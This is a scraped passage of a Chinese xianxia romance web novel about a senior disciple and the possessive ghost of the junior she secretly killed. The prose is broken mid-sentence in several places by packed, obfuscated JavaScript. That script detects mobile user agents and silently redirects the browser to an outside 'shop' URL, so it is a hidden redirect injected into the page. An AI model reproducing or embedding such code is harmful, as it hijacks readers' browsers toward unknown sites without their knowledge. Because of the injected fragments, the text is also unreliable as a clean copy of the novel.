月晓白眉头皱的更深了,她想了想,突然福至心灵道:“小鱼儿,你是在生气师姐不让你当鬼修吗?其实师姐也不是不赞成,主要是鬼修的风险实在是有些大了,还有就是,师姐突然想到,另一本书上,也记载了鬼修,师姐实在是不愿意相信,你为了修鬼修,居然自宫——呀!” 不知是巧合还是怎地,月晓白正走到长廊的一处拐角处,她只顾着喋喋不休地讲自己话,和看自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没什么人,我在自说自话,倒是你,大晚上的不睡觉,怎么跑外面来了。” 乌玉宇看着她师姐的动作,嘴角的笑意渐缓。 周轻语人如其名,说话轻声细语的,他的头发大半被发带绑住,只剩几缕头发在脸部周围:“我睡不着,出来转一下。” 月晓白觉得有些不对,大半夜,有什么好转的,又不是每个人都像她这样,有个好师弟大半夜上门前来骚扰她。 她皱眉看着周围,发觉了些不对,周轻语站在那处的房门口是大开着的,如果她没有记错的话,就是他的住所。 但是现在,他的门口凌乱,满是水痕,就像是被水泡过一般。 月晓白猜测道:“有人在你房间里泼水了?” 她以为自己猜测个八九不离十,然而周轻语却摇了摇头:“没有,是我不小心洒的。” 月晓白有心往前走几步,看看这到底是怎么回事,奈何她背后还有个乌玉宇,她不太确定他到底有没有听他的话。 于是她便有几分急躁道:“实在不行,你一会儿就去我屋……” 然而这次她的话又没说个完全,乌玉宇的手在她的背后狠狠一掐,这次和上次可不太一样,是真用了力,疼的她差点控制不住表情。 乌玉宇低头看他的师姐,他的一根手指被他的师姐背过手抓住,而其他部分,则完全贴合她的腰部。 他的师姐这次出门,经过他的强烈要求,穿上了一层外衣,但是这件衣服却选的不太好,虽然有宽大的衣袖,但腰部一系之后,却和身上贴的很紧,将她身上的曲线完全勾勒出来。 他的指尖在她的腰部比划,只一掌,他就可以锢住她大半个腰身。 如果师姐杀他,用的是刀就好了,这样他更有理由,让进度提前的快一点了。 7. 头七·下 月晓白发木的脑子终于有些回过神来,大半夜邀请别人来她的屋中,好像是有些不妥。 再观五师弟,他的双颊不由升起了些绯红,眼神飘忽道:“不用了,我自己收拾一下就行。” 你脸红个茶壶泡泡啊! 本来月晓白只是感到有些许的不妥而已,但被他这么一脸红,硬是让她也感觉有几分羞耻起来了。 她绞尽脑汁想了想道:“实在不行的话,你去找一找有没有空着的房间,你暂且在那里安顿一晚。” “月师姐,不用担心,我不是小孩子了,会处理好的。”周轻语垂眸道。 会处理好,怎么大晚上的被她给撞见了。 大概是养孩子养的太多了,面对他这种态度,月晓白很想再说两句,但又不想自讨没趣,便悻悻然道:“哦,那你先处理吧,我看着你处理。” 最好朝着前面,赶紧走,别路过她这里,如果真路过她这里的话,非常之时,她就要使些非常手段了。 比如,将他打晕,然后等他醒来之后,残忍地告诉他,你这是梦游倒地上了,让他一脸懵逼。 月晓白心里忐忑。 周轻语往前走了几步。 月晓白愈发紧绷,蓄势待发地就要出手打晕他。 说那时那时快,周轻语还差几步到她面前的时候,他不动了。 月晓白的手停在了半空。 周轻语迟疑地看了一眼她扬起的手,缓缓抬手,冲她挥了一下:“月师姐再见。” 月晓白周身的时空仿佛禁止了。 周轻语退后两步,又看了她一眼之后,转身往前方走去,好似刚才突然来这么一下,就是为了和她打个招呼而已。 月晓白的手一寸一寸的往下移。 既然要往前走!又往她那边是要做什么!吓她一跳!她也是要脸的!!! 周轻语的脚步,在几个拐角之后,便停了下来,他忍不住回想刚才他看到的场景。 一个看不清面容的人站在月晓白的后方,似笑非笑地望向他,一只手搭在月晓白的腰间。 那是一个充满占有欲的姿势,就像是将她整个人都给环住,让她全身上下,都笼罩在自己的身体当中。 而那个人存在,到底是谁也不言而喻。 除了他,还没见过哪个人对月晓白有这么强的占有欲。 —— 月晓白将手收了回来,佯装什么事都没有发生一般,继续拉着乌玉宇往前走去。 奈何还没走上许多,她后面那个鬼却趁这时,跑来秋后算账来了。 乌玉宇不虞:“师姐,平白无故,你邀请他来你房中做什么。” 月晓白一个头两个大,虽然她也有些后悔她刚才嘴快了,但她还是别扭道:“也不算是平白无故,他不是因为房中没法住了吗?” “你又没有去看过,你怎么知道他房中没法住了,随便哪个人告诉你他屋子受了点损伤,你便邀请他来你房中?”乌玉宇在原地站定,任她怎么拉也不往前走了。 月晓白陪着他站在原地,忍了又忍:“今天这事主要是误会,往常都没有的……” “往常都没有,那要是今后有了呢。”乌玉宇打断了她的讲话。 “你管那么多做什么?就算是我真的邀请了,这事又和你有什么关系。”月晓白本来是有些心虚的,但被他这么一激,就算是没火也起了三分火气。 本来就是误会,现在到底在刨根究底些什么。 “你觉得我不可以管你了是吗?”乌玉宇静了静道。 听听,他说的这究竟是些什么话,什么叫你觉得我不可以管你了是吗?她什么时候需要别人管过。 到底谁才是师姐,谁才是师弟! 月晓白一肚子火都没处撒,她直接瞥开眼,往远处看去。 他们现在所处的位置,正处于一个庭院的长廊处,方方正正的庭院当中,一颗高大的桃花树正处于当中,满地花瓣和雨水混在一块。 乌玉宇的声音再度传来,他低声问道:“师姐,你是看上他了吗?我好不容易才把你养那么大。” 月晓白满头黑线,如果她没有记错的话,她比乌玉宇大了整整六岁,到底是谁养谁!乌玉宇还在喝奶的时候,她都已经会走路了。 她转过身来,语气中带着几分冲道:“我看上你了。” 乌玉宇一愣,周身的气质瞬间平和不少:“也对,既然师姐说了心仪我,自然不会看上其他人,师姐应该专一些才对。” “不是。”月晓白不明白话题怎么就跳转道这里了,“我什么时候说我心仪你了。” 乌玉宇沉吟片刻:“就在刚才,而且,师姐你很早就跟我表过白了。” 月晓白有心想回怼些什么,奈何嗓子就跟卡壳了一样,半天吐不出几个字,将自己的脸憋的通红。 乌玉宇看着他的师姐,他的师姐是一个脸皮很薄也很好逗弄的人,一句再普通不过的话,一个再普通不过的举动,都能将她逗个面红耳赤,可惜这点他不希望被别人发现,也不希望被其他人逗弄。 所以她怎么敢的,就这么当着他的面,邀请其他男人来她的屋子里,被其他的男人逗弄。 明明她最亏欠的人,不应该是他才对吗? 她最应该补偿,最应该邀请的人也是他才对。 而不是现在满脑子都是想着,如何将他给送走,她难道不应该知道,他最不舍得伤害的,就是他的师姐了,他只是想让他的师姐补偿他而已。 他有些委屈地喊道:“师姐,鬼修到底是有什么不好的,你不希望我陪着你吗?” 月晓白握着油灯的手一紧,差点以为是他看出来了,但紧接着,她就觉得她多虑了,这一路她的态度这么奇怪,她的师弟猜到了也说不准,毕竟他那么聪明。 “鬼修求仙问道很难的,一个不小心,便是魂飞魄散的下场,而且还不可以入轮回,一旦选择这,相当于是没有退路了,你没有必要去受这苦。” 月晓白说完之后,她静了片刻,有些惊讶于她居然把这些话,这么平静的说完了。 她起码以为,她说这些话的时候,语中会带着几分妒恨。 毕竟她的师弟天赋这般好,他的出身也很好,学那捞子的什么鬼修,究竟是为了什么? 以他的天赋机缘甚至这些年攒下来的善果,再次投胎轮回的话,未尝不会有一个好的结果,说不准比和她混在一起要好太多了。 月晓白的眼眸微垂,准备转过身去,再度想一个送魂的法子,反正无论如何,她是不可能让乌玉宇那么乱来的。 只不过她的身子还未转个完全,一只手便从她的腰间一捞,被迫撞入了一具精壮的身体上,如果不是在这时她及时把那盏油灯别到一边,怕是要被他们两个之间给压灭了。 月晓白隐隐有些恼怒道:“你这是干什么?” 乌玉宇将他的脑袋埋在月晓白的脖颈处:“师姐,你考虑这么多,为什么就不问问我的意见呢?” 冰凉的触感使月晓白的肌肤一阵阵粟起,她试图推他,却没推开:“你的意见有什么好问的,你都被人给骗昏头了。” 如果让她知道到底是谁骗她师弟,她一定要将那个人打的满地找牙! “但我已经成了鬼修了,如果根据师姐你讲的,我已经没有退路了,为什么不让我留下。” 乌玉宇粘人的很,他将她的身体与他贴紧,紧到他们之间严丝合缝贴合在一起的程度。 月晓白咬牙:“有些事不试怎么知道,反正我就是不允许你当什么鬼修。” “我已经当了。” “当了也不许!” 月晓白很想要瞪他,奈何他现在整个人都扒在她的身上,瞪他也是白瞪。 乌玉宇将头枕在她的肩上,不语。 沉默在他们周围蔓延。 然后还是乌玉宇最先开口:“师姐,你忘了我们的誓言了吗?” 月晓白一愣。 乌玉宇终于将她给放开,捧住了她的脸,使她抬头看向自己,不让她有任何的回避。 为什么他的师姐会是这样纠结的一个人呢? 嫉妒他,但是又心疼他。 依赖他,但是又想要把他给推开。 “这个誓言是我们一起许下的,我没有忘,师姐你为什么就忘了呢?” 月晓白张了张嘴,不知道说些什么,说是一起许下的,但那个誓言,其实更像是乌玉宇对她的承诺。 ——“我会和晓白永远在一起,再也不会让晓白孤单,无论是什么,都不能将我们分开。” 毕竟她要做的,只有同他在一块而已。 “为什么这么想要把我给推开呢?”乌玉宇不解。 “那个誓言……”月晓白喉间有些干涩,她带着几分躲闪道:“那个誓言对你来讲太不公平了,你没有必要去遵守。” 可是师姐,我的人生不能没有你啊,如果你将这份誓言弃如敝履的话,那我的存在又算得了什么呢? “师姐,你如果觉得我有天赋的话,那你为什么要担心的鬼修的困难,无论我做什么,都是我自己的选择。”乌玉宇直视着她。 正如他当时选择许下那个永远在一起,永远不让晓白孤单的誓言,所以,他便永远不会违背,即便是成为邪祟,即便是要从阴间爬上来,即便是他的师姐后来对他纠结又抗拒。 “我离不开师姐,而师姐,你同样也离不开我。”乌玉宇毫不犹豫地下结论道。 月晓白很想问,他究竟是哪里来的底气,下这么肯定的结论,但是她回忆起乌玉宇不在的种种,心里有一道声音确实在告诉她,她不适应,她渴望乌玉宇回来。 十一年的相处,让他们长成的彼此的根,紧紧的纠缠在一起,每动一下,便是一场鲜血淋漓的疼痛,更别说挖掉彼此的存在了。 她想让乌玉宇留下,但是不行,她不能这么自私,她已经动手杀过乌玉宇了,她不能再让未来可能后悔的事情又多一件了。 乌玉宇十分任性道:“就算是师姐你不同意,那也没有关系,反正如果我不愿意的话,我是无论如何都不可能离开的,师姐你又不是不知道。” 月晓白哑然,乌玉宇说的没错,如果鬼魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125892|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处于强烈的不愿状态的话,是无论如何,都不可能被送走的。 她将他的手从她的脸上移开,就在乌玉宇好奇她要做些什么的时候。 她吹灭了手里的油灯。 “师姐想带你来的地方到了。” 庭院中,桃花被风吹的簌簌落下,但依然茂盛,几乎把整个院子都给笼罩个完全,如果仔细看去,就会发现那根本不是一颗桃树,而是两颗紧紧地缠在一起,它们彼此缠绕,一起扎根在这个庭院当中,等待着枝繁叶茂的夏天。 屋内。 月晓白躺在软榻上,翻来覆去的有些睡不着,一方面跟她有些认床有关,另一方面,也跟她心里面在琢磨些事情有关。 刚才经过好一番折腾,他们终于又回到了屋子里,鉴于乌玉宇的存在不能被其他人给看见,而乌玉宇脸上又带着白布,一副需要人照顾的样子,她便又将他带了回去,同时安置到了床上。 是的,刚才是很硬气,硬气完之后,月晓白不由有些犯怂,哪里敢跟这位大爷抢床,忙不送地将她的床让了出来,自己拎着一床被子,躺倒了她房间中的另一处软榻上。 只不过难伺候的乌玉宇并不对此感到高兴,甚至面上有几分淡淡的。 月晓白想不明白,将床让给他,他都不高兴,如果不让他,恐怕只会更不高兴,今天他一会儿委屈一会儿生气的,情绪波动已经够大了,再闹真连个回笼觉都睡不了。 月晓白闭上眼睛,打算酝酿着睡意,就这样睡过去。 只不过她躺了好半天,睡意没有酝酿出来,倒是把白天的事情给回想了个遍。 她忽然意识道,乌玉宇说了那么多次她表白的事情,却从来没有给过她半分回应。 每次都只是用这个来调侃她而已。 月晓白的心中猛然一静,虽然她没有真的想要如何,也没有喜欢上乌玉宇,但是他这态度,实在是太奇怪了。 这算是什么,不上不下地钓她吗? 这般想着,心里不由气闷,她用被子盖过自己的脸,躺在床上一动不动,宛若睡着一般。 乌玉宇是等外面传来连绵的呼吸声之后,才下床的。 他走到师姐的身边,本不欲做什么,只是想来看一眼时,却发现她整张脸都蒙在被子下面。 乌玉宇便想着,这样睡容易导致呼吸不畅,便走到月晓白的身边,将被子拉下来少许。 一张带着粉嫩的脸出现在他的面前,果然如果他所想,将被子拉下来之后,月晓白的呼吸顺畅了许多。 温热的呼吸喷洒在他的指尖,乌黑的睫毛紧紧闭合在一起,眉眼之间格外的舒展,好似做了一个不可多得的美梦一般。 乌玉宇的指尖轻动,他连着被子,将月晓白抱了起来,动作轻柔地放到了床上。 那张软榻到底是太小了,她睡着会不舒服。 几分微不足道的挣扎之后,月晓白便很快躺在了床上,睡的安然。 乌玉宇看了一会儿,终于也躺下,和衣躺在她的身边。 他刚闭上眼睛,就有一个脑袋突然伸过来,躺在了他的肩膀上。 乌玉宇身体一僵,他低头看去。 是他的师姐,月晓白卷着被子,直往他的肩膀处钻,看上去像是睡迷糊了。 乌玉宇往旁边移了移。 本以为这次给他的师姐留了足够大的地方,但是谁知,月晓白再度往他肩膀上靠。 他再移,月晓白再靠。 再移,再靠。 直至乌玉宇再移就会掉下床时,他躺在床上,终于是不动了。 月晓白用气音道:“那个双修秘籍你是从哪里来的。” “什么双修秘籍。”乌玉宇的眼睛闭的很紧。 月晓白恍然,他看不见,不知道也正常,于是她清了清嗓子,道:“就是你床头那本,石闫收拾你屋子的时候发现的。” “石闫发现的?” 月晓白支起脑袋,心虚地点了点头:“是啊。” 乌玉宇回想了片刻,后知后觉发现,原来月晓白房间里的那本书,起源于他的屋中。 他肯定道:“石闫杂七杂八送了一堆,我还没看。” “啊?”月晓白愤愤道:“那他为什么不送我,厚此薄彼吗?” 他敢送你! 乌玉宇没有回答,只是道:“你靠着我睡,会冷。” “不会不会。”月晓白摇摇头,“我们之前又不是没睡过,我一睡着就什么都不知道了,怎么会冷,再说我还盖着被子呢。” 说着,她便又重新将自己脑袋枕到乌玉宇的肩膀上,还将自己的大半个被子捞起来,放到乌玉宇身上。 将他也给盖的牢牢的。 乌玉宇终究还是拗不过她,与她一同躺在了床上。 房间陷入安静,这次,绵长的呼吸从他的身边传来,他的师姐陷入了安眠。 还是不太一样的,乌玉宇想,他将被月晓白挤到一侧的那只胳膊抬起,环过她的腰间。 之前他们在一起睡的时候,月晓白从来没有枕过他的肩膀,而他也从来没有环过她的腰。 8. 铜钱鬼市·一 白蜡村。 大雨滂沱,雨水混杂着泥土,顺着坡壁,一路跌入深深的暮色。 “丫头,你在看什么呢?”大娘撑着伞,拍了一下那个频频回头女孩的肩膀,和善地问道,“看你这打扮,不像是这里的人啊,怎样跑这里来了。” 女孩穿着一身嫩黄色的罗裙,发尾坠着双环小辫,整个人看起来俏生生的,像是含苞待放的花骨朵,鲜嫩的不行。 她被大娘的动作吓了一跳,回过神来后,小声道:“有个长着奇怪眼睛的人一直跟在我们后面。” 大娘面容一肃,她拉着女孩的手,将大半的伞打到了她的身上,加快了脚步。 女孩来不及反应,跟着她,跌跌撞撞进入了一户被红线缠绕的房子当中,不时有几枚铜线点缀在那些线上,出乎预料的是,这里面的人并不少。 进入到这里之后,大娘明显松了一口气,她合上伞,将黏在鞋底的湿沉泥土给蹭掉,对明显还在紧绷的女孩道:“丫头,放心吧,这里是天地观的仙长们特意在这里设立的防护,邪祟进不来。” 女孩学着她的动作,将鞋底的泥蹭掉,她呼出了一口气,肩膀慢慢放松了下来,声量小小道:“天地观是什么?” 大娘一愣,压低声音道:“天地观就是仙长们修行的地方的啊,他们可好了,还帮我们除邪祟。” 女孩点了点头:“我知道了。” 大娘失笑:“你这丫头怎么连天地观都不知道,不会是哪家的小姐跑出来的吧。” 本来大娘只是打趣,但一想之后,不免觉得真有这个可能,这个姑娘身上穿的实在是太好了,真不像是他们这里的人。 而且自己碰到她时,她正站在一处房梁下躲雨,一脸的懵懂,所以也就发了善心,提出捎她一段,结果一问,连自己想要去哪里都不知道。 这不像是跑出来,还像什么。 女孩沉默了片刻,她的神情当中似乎是闪过一抹古怪,但是很快就被掩盖下去了,她嘴唇绷的很紧,身体也变得紧绷,稚嫩似乎在她身上褪去了一瞬,却在她开口之时,又重新涌了上来:“不是小姐。” 她的声音太低了,就像是随风漂浮的蒲公英,大娘一时没听清她说些什么,但也懒得再问,等天亮的时候再多照看些就是。 夜已经深了,这所不大的房间当中,横七竖八躺了不少人,呼噜震天响。 大娘随处找了一个地方,眯了过去。 女孩却不太睡得着,她看着周围,打量着那些红线,红线围绕着房屋,像是一张密不透风的蜘网,将房屋给围绕的牢牢的,按理来讲,她们是不可能进去的,但是那些红线就像是有意识一般,自动让开了一条路。 现在应该很安全,女孩心想。 骨碌碌…… 一枚不知道从哪里来的铜钱从她的身后滚来,在她面前打转数圈的之后,晃晃悠悠地倒了下来。 女孩看了看那枚铜钱,又看了一下铜钱滚过来的方向,屋内的人还都睡的正香,不时几声嘟囔从他们那里传来,很快就又隐了下去。 女孩犹豫了一下,终究还是走过去,将那枚铜钱捡了起来。 只是她的手刚触碰到铜钱的那一瞬,再一抬眼,周围的景象全变了,她身处在一个热闹街道当中,奇形怪状眼睛幽幽发亮的摊主在热情的叫卖,和摊主一样的怪物似乎在认真的看货,不时几个带着黑色恶鬼形状的面具的人从她的身旁路过。 整个世界,似乎只有她格格不入了起来。 女孩的手一哆嗦,刚从地上拾起的铜钱已经半落了下去。 也就在这时,他们似乎注意到了她。 眼睛,面具,齐齐看向她的方向。 无数双手像是海浪一般,向她涌来,却又在即将触碰到女孩身体的那一瞬,变得虚幻破碎起来,恍惚之中,兴奋的嚎叫依稀从那边传来:“肉猪,哪里来的肉猪,节日不是还没开始吗?” 吧嗒一声,那枚铜钱掉在地上,女孩惊魂未定地站在原地,屋内,熟悉的鼾声自那边传来,宛若刚才经历的一切都是幻觉。 她捂着怦怦乱跳的心脏,打算转身往屋内走去,但是刚一转身,一张脸几乎和她怼上,女孩吓的退后几步,重重地撞在墙上。 昏暗的月光下,歪扭的像是炸鳞一般鳞片发出黯淡的光,一双银白色的竖瞳在幽幽发着亮,而这,是刚才一路跟着她们的人。 很显然,他并不是人,而是刚才她拾起铜钱之时,一同见到的怪物。 “啊啊啊啊啊——!” 惊叫从屋内响起,宛若情景再现一般,数不清的怪物将这间屋子给团团围住,刚才还熟睡的人们发出凄厉的惨叫。 而刚才那个好心的大娘,正以极快的速度向她奔来,似乎是担心因为她的安危,却完全没有注意到,她身后的怪物已经扬起了他的屠刀,往大娘的背后重重劈去。 女孩的瞳孔骤然一缩。 —— 翌日,日头尚好。 月晓白一手拿着糖葫芦,一手拿着衣服,从乌玉宇的屋里出来,她将最上面那个糖葫芦咬掉,用脚勾着房门,打算就这样碰上。 好巧不巧,也就在这时,不知道从哪里来的人向她扑了过来,直接压住了她的手腕,刚被她啃了一个正好将尖刺露出来的糖葫芦赫然往她的眼睛处刺去。 月晓白的瞳孔骤然一缩。 近乎是飞速的,月晓白手腕往内一别,木签擦着她的脖颈,有惊无险地滑了过去,而那个人被她抬脚抵住,转身压在了房门上。 “碰”地一声,房门发出了不堪重负的声响,一串糖葫芦横在了他的脖子上。 月晓白和扑过来的那个人来了个面对面。 “五师弟?”她有些愣然地喊道。 现在被她抵住的人不是别人,而是昨晚正好碰过面现在又碰上的周轻语,他的睫毛微颤,眉头轻皱,似乎是因为她过于粗暴的动作,产生了些许疼痛。 “月师姐?” “月师姐你怎么在这儿?” 这时,处于画面之外的其他人终于姗姗来迟,发出了讪讪的笑声。 月晓白将糖葫芦放下,眼睛微眯:“你们这是在做什么?” 为首的一人搓了搓手:“我们闹着玩呢,谁成想他不小心摔了,月师姐勿怪,勿怪。” “摔了?怎么就这么巧,我刚一出来就摔我身上了,看我不顺眼?”月晓白瞥了一眼周轻语,似笑非笑道。 结合昨晚的事情,她感觉这事没有那么简单,但她也有些不愿意相信,在月晓白眼里,一向平和观中,居然会发生这种事。 “哪敢?哪敢?我们怎么会看月师姐您不顺眼。” “是啊,我们最敬爱,最喜欢的就是月师姐了。” “毕竟月师姐长的那么好看。” “岂止啊,月师姐就是天上的仙女,世界上没有比月师姐还要好看的人。” 他们接二连三对月晓白发出了由衷的赞美。 月晓白的唇角的加深了少许:“那既然这样,你们在玩什么?不带我一起?” “这个……”一滴冷汗从为首的那人额角滑落,“我们玩的不太适合月师姐。” 月晓白脸上的笑意尽收:“怎么就不适合了,有什么是你们玩,我不可以玩的,还是说,你们真的看我不太顺眼?” 几人被月晓白吓的不敢出一言。 周轻语活动了活动他的肩膀:“他们喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17125893|196068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩叶子戏,推牌九,摇骰,嫖||娼,自然和师姐玩不到一块去了。” 如果说前面几个,月晓白的脸色仅仅是难看点,但是后面,她的脸色就已经能用面沉如水来形容了。 其他人也勃然变色,为首一人怒道:“周轻语!你妈个了逼的你诬陷……” 然而他话还没有说完,一道大力自他腹中袭来。 月晓白直接将他踹出三两米远,她冷冷道:“下面管不住,嘴巴也管不住?” “月师姐,冤枉,真的冤枉,我们没干这些事。” “是他,是周轻语的干的!” 其他人或是求饶,或是推卸道。 不过月晓白却没有耐心再听他们发言了:“此事究竟如何,我会让人调查,调查清楚之后,依据观中规矩行事。” 她伸出手指,虚空挨个点了点他们的脑袋:“放心,我已经记住你们了,如果干了坏事,你们逃不掉的。” 他们面色一白,想说些什么,但月晓白却挥了挥手,让他们散去。 待他们走后,月晓白问周轻语道:“这件事是从什么时候开始的?” 周轻语垂眸:“什么事?” 月晓白眉头一皱,心说都被自己发现了,还能嘴硬,但考虑到可能是因为他的自尊心在作祟,准备换个更委婉些的说法问问时。 周轻语却先开口了:“师姐这是想念乌玉宇了吗?” “哎——”月晓白盯着自己手里的衣服,看了一两秒之后,目移,带着些不自觉地咬牙道:“是啊,我想着他在下面缺衣少食了怎么办,我给他烧过去。” 周轻语附和了一声:“是该如此,昨晚我没有记错的话,应该是乌师弟头七。” “嗯呢。” 月晓白有些搞不明白他想说些什么。 周轻语似乎是看出了她的疑惑,自嘲地笑了笑:“没什么,我只是想说,他们当中,好像有一个汇聚供他们享乐的地方,我当初偶然听见他们提到,只不过我也不清楚在哪里就是了。” 这群王八羔子的! 月晓白的面色一沉,还有地方汇聚起来供他们享乐?当皇帝呢?而且听周轻语所言,不像是就几个的样子。 得把他们都抓起来,人赃并获才行。 月晓白暗暗思索。 也就在这时,耳边有一句话忽然向她飘来,周轻语似乎是有些感慨道:“没想到这么快,头七就已经过去了,我脑中还记得乌师弟活着的样子,恍如昨日,而现在……” 他轻声叹了一口气:“也不知道乌师弟生前最大的心愿是什么,如果能满足的话,乌师弟在天之灵,想来能得到些许的慰藉吧。” 月晓白神情猛然一顿,他生前最大的心愿是什么她不知道,但是死后她知道啊。 这不人都死了,头七回魂还心心念念让她帮忙找凶手。 一般来讲,逗留人间的鬼魂能走的方式不外乎有两种,一种是别人施法送走,另一种是他心愿了却,自己走了。 而现在对乌玉宇施法不行,那不就只能想办法让他自己走了! 虽然她就是凶手,但乌玉宇又不知道,那她想个办法,把帽子往穷凶极恶的人或者邪祟身上一扣不就好了,这也算是为民除害! 越想,月晓白的眼睛越亮,她笑了笑,对周轻语道:“你真是帮了我大忙了,放心,我一定会严惩那些人的。” 周轻语有些不明所以,又有些羞怯道:“是月师姐帮了我才对,我可什么忙都没帮上。” 月晓白摆摆手,笑而不语。 想来不用多久,她就能把乌玉宇给送走了! 别再跟她提什么不靠谱的鬼修了,早日轮回投胎才是正途!当娃娃去吧他! 9. 铜钱鬼市·二 乌玉宇昨晚睡的并不算很好。 雨水敲击着窗户,不断发出啪嗒声,月晓白躺在床的另一边,紧挨着墙,团着被子,背对着乌玉宇。 乌玉宇则躺在床的另一边,面无表情地睁着眼,两个人之间的距离就像是天边的星星,一个在天的那头,一个在天的那头,隔了半个世界。 乌玉宇侧身,他呼出了一口气,伸出手向那边摸去,一缕头发缠绕在他的指尖。 月晓白的头发披散在床上,脸埋在被子里,睡得安然。 说好的不会冷,说好的会陪他睡,结果就睡了那么一会儿,就开始挣扎,嫌弃地将他推远,迷迷糊糊地往一旁挪去,嘴里嘟嘟囔囔地说是冷,一边挪还一边把被子往她身上拽。 导致他身上连被子的一角都没有盖到。 如果伸手拦住她的腰,不让她离开的话,她就瘪瘪嘴,睫毛眨动的厉害,好似下一秒就要醒来,当然,最后她还是没醒,只不过是用脚蹬他罢了,最后见实在蹬不开,还把自己给搞生气了,一张脸皱巴巴的。 不得不说,在睡梦当中,他师姐的表情可比她在白日丰富多了,就像是个懵懂的小孩子一般。 最后乌玉宇还是没舍得欺负她,将她给放开。 月晓白便带着被子,立马滚得远远的,直至挨着墙,滚不动了,才团吧着被子停了下来,再次陷入了熟睡。 乌玉宇看着月晓白的后脑勺,看了很久,直到窗外天光乍破,他才又把月晓白捞了过来,不顾她的意愿,让她重新躺在他的肩膀上。 说好的在一块睡,早上醒来不躺在一起的话,那算什么一块睡。 好在月晓白此刻可能是因为睡的熟,动作乖顺的很,不仅没有丝毫的挣扎,还伸手环住了他。 倒没有再嫌弃冷了。 乌玉宇闭上眼,终于在此时,才堪堪睡了一个囫囵觉。 月晓白是在乌玉宇的怀里醒来的,依旧是昨晚她刚睡着时的动作,枕着他的肩膀,除了自己的手放在他的胸膛之外,倒没有什么不同。 月晓白缓慢地将手收了回去,看来她睡相挺好的,一点变化都没有。 她从床上坐起来,将她与乌玉宇之间的距离拉远了一些,也就在这时,月晓白的腰间传来收紧的触感,她低头一看,原来是乌玉宇不知道什么时候把手搭在她的腰上。 月晓白将那只手扒拉下来,准备伸腿,从乌玉宇的身上跨过去,然而不知道是因为乌玉宇快要醒来,还是怎地。 那个本来被她扒拉下去的手猛然收紧,猝不及防之下,月晓白直接坐在了乌玉宇的身上。 如果不是她最后又撑了一下,恐怕就要直接趴在他的身上了。 但这个情况,这个有点糟糕的姿……不,感受,似乎也好不了多少。 他们之间的距离,挨得有些过近了,以至于她能够感受到,乌玉宇从睡梦中醒了过来,但还半不太清醒,那只手顺着腰,直往上摸,像是要把月晓白给往下按,好继续那一场睡眠。 而她腿下的触感,更是有些糟糕的过分,月晓白不知道她坐在哪里了,明明隔了好几层衣服,但是她就是能够清晰的感受,腿下传来轻微的跳动感,像是动物正在复苏一般。 他不是鬼吗?不应该躺板正吗?怎么还有这种感觉,但此时此刻,月晓白是想不了那么多了。 她是一刻也坐不下去了,像是受惊的兔子一般,蹭地一下从床上跳起来,直往床下窜。 奈何乌玉宇这时候很像是处于状况之外,明明见她要下床,但是还是扣住她的腰,阻止她的动作。 慌乱之中,月晓白不知道是触碰到了哪里,乌玉宇发出闷哼一声,锢住她腰的那只手松开了许多,但是很快,就又收紧了。 好在,月晓白趁乌玉宇松开的那一瞬,从床上下来了。 咳,连着被子摔下来的,但是别管,下来就行。 月晓白拍拍屁股,忙不送地站了起来,顺便将掉在地上的被子捡了起来,一股脑地扔在乌玉宇身上。 她捏了捏发烫的耳垂,直接将她挂在架子上的衣服捞出来,直往身上套。 怎么!可以!这么尴尬! 大早上的,闲的没事给她那么重的一击干什么。 但是月晓白越急,心里越尴尬,腰带反而越系不上去,好半天才堪堪打了一个结。 再观乌玉宇,他此刻不知道清醒了还是没有,支着身体,从床上半坐了起来,那张系了白布的脸朝向她的方向,是的,大晚上睡觉都没有取下。 他缓缓道了一声:“师姐。” 如果不是月晓白知道乌玉宇他看不见,她都怀疑他这是好整以暇地坐在那里,来观看她换衣服了。 月晓白理了理衣袖,将她的衣服给拉正,并不理他。 乌玉宇根本不知道他刚才干了多么可恶的事情。 乌玉宇坐在床上,并不动弹,他看着月晓白,看着看着,又缓缓道了一声:“师姐。” 这时,月晓白才终于像是施舍一般的抬眼,表情冷淡道:“有事?” 嗯,看上去挺有气势的,前提是忽略她脸上和耳垂上,还没有褪下去的绯红。 乌玉宇看上去像是没有睡好,有些怏怏道:“我没有衣服换。” 月晓白一顿,终于将视线重新对上乌玉宇,该说不说,如果不是乌玉宇自己提,她都有些忘了,乌玉宇身上穿的还是他死去时穿的那一身。 话说鬼魂怎样换衣服来着,对,烧去,烧过去就行,那这样的话,她去乌玉宇的屋中拿身衣服不就好了,那既然要拿的话,那是不是他的亵裤也得拿…… 月晓白发散的思维忽然顿住,眼神没由来往他那个部位一瞥,脸上的红晕一点一点的往上升。 如果她刚才触感没错的话,她好像是摸到了,而他好像是……有些反应。 月晓白咬了咬唇,不自觉开始又将她的衣服又给整了一遍。 那地方被那团被子挡住了,现在倒是看不太出来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 